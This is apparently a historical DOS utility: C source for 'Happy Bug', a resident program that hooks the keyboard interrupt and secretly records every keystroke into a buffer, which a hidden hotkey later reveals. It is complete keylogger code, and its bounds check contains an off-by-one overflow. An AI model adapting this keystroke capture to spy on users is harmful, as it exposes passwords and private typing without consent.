/* Copyright (C) 1993-2000 Justin Frankel
** Should be compiled with Turbo C++ 3.x
*/

#ifndef __COMPACT__
#error I NEED COMPACT MEMORY MODEL
#endif
#include <conio.h>
#include <bios.h>
#include <dos.h>

extern unsigned _heaplen = 0;
extern unsigned _stklen = 512;
unsigned short int *scrmem;
struct text_info ti;
unsigned char record_buffer[80*49];
unsigned short int screen_buffer[80*50];
int key;
char ckey;
short int x;
char pop_upped = 0;
char record = 1;
char clear = 0;
unsigned short int record_position;

void dispchar(char y, char x, char ch, char attr) {
  register short int a = attr;
  register short int yy = y;
  scrmem[x + (yy*80)] = (ch | (a << 8));
}

void bottom_line() {
  char x;
  for (x=0;x<80;x++) dispchar(49,x,0,0);
  dispchar(49,0,'A',0xA);
  dispchar(49,1,'l',0xA);
  dispchar(49,2,'t',0xA);

  dispchar(49,4,'C',0xA);
  dispchar(49,5,'l',0x7);
  dispchar(49,6,'e',0x7);
  dispchar(49,7,'a',0x7);
  dispchar(49,8,'r',0x7);

  dispchar(49,11,'E',0xA);
  dispchar(49,12,'n',0x7);
  dispchar(49,13,'a',0x7);
  dispchar(49,14,'b',0x7);
  dispchar(49,15,'l',0x7);
  dispchar(49,16,'e',0x7);

  dispchar(49,19,'D',0xA);
  dispchar(49,20,'i',0x7);
  dispchar(49,21,'s',0x7);
  dispchar(49,22,'a',0x7);
  dispchar(49,23,'b',0x7);
  dispchar(49,24,'l',0x7);
  dispchar(49,25,'e',0x7);

  dispchar(49,28,'P',0xA);
  dispchar(49,29,'r',0x7);
  dispchar(49,30,'i',0x7);
  dispchar(49,31,'n',0x7);
  dispchar(49,32,'t',0x7);

  if (record) {
    dispchar(49,72,'E',0x3);
    dispchar(49,73,'n',0x3);
    dispchar(49,74,'a',0x3);
    dispchar(49,75,'b',0x3);
    dispchar(49,76,'l',0x3);
    dispchar(49,77,'e',0x3);
    dispchar(49,78,'d',0x3);
  } else {
    dispchar(49,72,'D',0x3);
    dispchar(49,73,'i',0x3);
    dispchar(49,74,'s',0x3);
    dispchar(49,75,'a',0x3);
    dispchar(49,76,'b',0x3);
    dispchar(49,77,'l',0x3);
    dispchar(49,78,'e',0x3);
    dispchar(49,79,'d',0x3);
  }
  dispchar(49,60,'H',0x5);
  dispchar(49,61,'a',0x5);
  dispchar(49,62,'p',0xC);
  dispchar(49,63,'p',0xC);
  dispchar(49,64,'y',0xF);
  dispchar(49,66,'B',0xF);
  dispchar(49,67,'u',0x7);
  dispchar(49,68,'g',0x9);
}
void interrupt ( *oldhandler)();
void interrupt handler() {
  oldhandler();
  ckey = bioskey(1);
  if (ckey && record && !pop_upped) 
    record_buffer[record_position++] = ckey;
  if (record_position > (80*49)) record_position = 0;
  key = bioskey(1);
  if (pop_upped && key) {
    bioskey(0);
    if (key == 46<<8) { pop_upped = 1; clear = 1; }
    else if (key == 18<<8) { record = 1; pop_upped = 0; }
    else if (key == 32<<8) { record = 0; pop_upped = 0; }
    else if (key == 25<<8) { asm int 5; pop_upped = 0; }
    textmode(ti.currmode);
    gotoxy(ti.curx,ti.cury);
    memcpy(scrmem,screen_buffer,80*50*sizeof(short int));
    if (clear) { 
      memset(record_buffer,0,80*49);
      record_position = 0;
    }
    pop_upped = 0;
    clear = 0;
  }
  else if (key == 44<<8 && bioskey(2) & 2) {
    int aytr;
    char k;
    bioskey(0);
    memcpy(screen_buffer,scrmem,80*50*sizeof(short int));
    gettextinfo(&ti);
    textmode(64);
    for (x=0;x<(80*49);x++)  {
      aytr = 0x0F00;
      k = record_buffer[x];
      if (k == 13) { k = '|'; aytr = 0x0300; }
      else if (k == 8) { k = '<'; aytr = 0x0300; }
      scrmem[x] = k | aytr;
    }
    bottom_line();
    pop_upped = 1;
    gotoxy(1,50);
  }
}

void main(void) {
  directvideo = 1;
  record_buffer[0] = 0;
  record_position = 0;
  cprintf("\n\r");
  textcolor(0x5); cprintf("Ha");
  textcolor(0xC); cprintf("pp");
  textcolor(0xF); cprintf("y ");
  textcolor(0xF); cprintf("B");
  textcolor(7); cprintf("u");
  textcolor(9); cprintf("g");
  textcolor(7);
  cprintf(" pre2.0\r\nCopyright (c) 1993-1996 Nullsoft.\r\n"
          " Hit Leftshift-Alt-Z to activate...\r\n");
  scrmem = (unsigned short int *) 0xB8000000L;
  oldhandler = getvect(0x9);
  setvect(0x9, handler);
  keep(0, (_SS + (_SP/16) - _psp));
}

